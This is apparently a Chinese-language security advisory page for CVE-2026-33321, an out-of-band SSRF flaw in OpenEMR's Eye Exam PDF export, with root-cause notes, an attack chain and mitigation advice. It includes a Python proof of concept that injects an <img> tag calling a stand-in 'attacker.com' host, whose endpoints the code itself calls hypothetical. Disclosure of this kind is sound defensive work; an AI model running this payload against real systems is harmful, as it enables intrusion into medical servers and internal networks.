IPBUF安全漏洞报告
English
CVE-2026-33321 CVSS 7.6 高危

CVE-2026-33321 OpenEMR OOB SSRF漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-33321
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

SSRFOOBOpenEMRHTML注入医疗软件

漏洞概述

OpenEMR 版本 8.0.0.2 之前存在 OOB SSRF 安全漏洞。具备“Notes - my encounters”权限的用户可在 Eye Exam 表单字段中输入包含恶意 HTML 标签的数据。当这些表单答案被转换为 PDF 文档时,服务器端未能正确转义 HTML,导致解析引擎加载外部资源,进而允许攻击者从服务器向目标发起伪造请求。

技术细节

该漏洞根因在于 OpenEMR 的 PDF 生成组件未对 Eye Exam 表单中的用户输入实施有效的 HTML 转义。具体利用过程中,攻击者利用“Notes - my encounters”角色的低权限,在表单字段中注入恶意 HTML 标签(如 <img> 或 <iframe>),指向攻击者控制的外部服务器。当管理员或系统尝试将该表单数据导出为 PDF 时,服务器端的 HTML 解析器会处理这些标签,并主动向外部 URL 发起请求。这种 Out-of-Band SSRF 攻击方式不仅确认了漏洞的存在,还允许攻击者利用服务器作为跳板,对内部网络资源进行扫描或访问,从而威胁内网安全。

攻击链分析

STEP 1
步骤1
攻击者获取 OpenEMR 低权限账号(Notes - my encounters)。
STEP 2
步骤2
攻击者在 Eye Exam 表单中注入包含外部资源链接的恶意 HTML 代码。
STEP 3
步骤3
系统保存表单数据。
STEP 4
步骤4
受害者或系统任务调用 PDF 打印功能生成报表。
STEP 5
步骤5
服务器端解析未转义的 HTML,向攻击者控制的外部服务器发起请求(OOB SSRF)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-33321 OpenEMR OOB SSRF import requests def trigger_ssrf(target_url, attacker_server, username, password): session = requests.Session() # 1. Authenticate to OpenEMR login_url = f"{target_url}/login.php" login_data = { "new_login_session_management": "1", "authUser": username, "clearPass": password } session.post(login_url, data=login_data) # 2. Prepare malicious payload for Eye Exam form # Using an img tag to trigger an HTTP request from the server during PDF generation payload = f'<img src="{attacker_server}/?collect=cookies" width="0" height="0" />' # 3. Submit the form with the payload # Endpoint is hypothetical based on typical OpenEMR structure form_url = f"{target_url}/interface/forms/eye_exam/save.php" form_data = { "form_eye_exam": payload, "process": "true" } response = session.post(form_url, data=form_data) if response.status_code == 200: print("[+] Payload injected successfully.") else: print("[-] Failed to inject payload.") return # 4. Trigger PDF generation (The Print action) # This forces the server to parse the HTML and fetch the external resource print_url = f"{target_url}/interface/forms/eye_exam/print.php?id=1" print_response = session.get(print_url) if print_response.status_code == 200: print("[+] PDF generation triggered. Check your server for the OOB request.") else: print("[-] Failed to trigger PDF generation.") if __name__ == "__main__": TARGET = "http://localhost/openemr" ATTACKER_CTRL = "http://attacker.com" trigger_ssrf(TARGET, ATTACKER_CTRL, "low_priv_user", "password")

影响范围

OpenEMR < 8.0.0.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用 Eye Exam 表单的 PDF 导出功能,或部署 Web 应用防火墙(WAF)检测并拦截包含 HTML 标签的表单提交请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表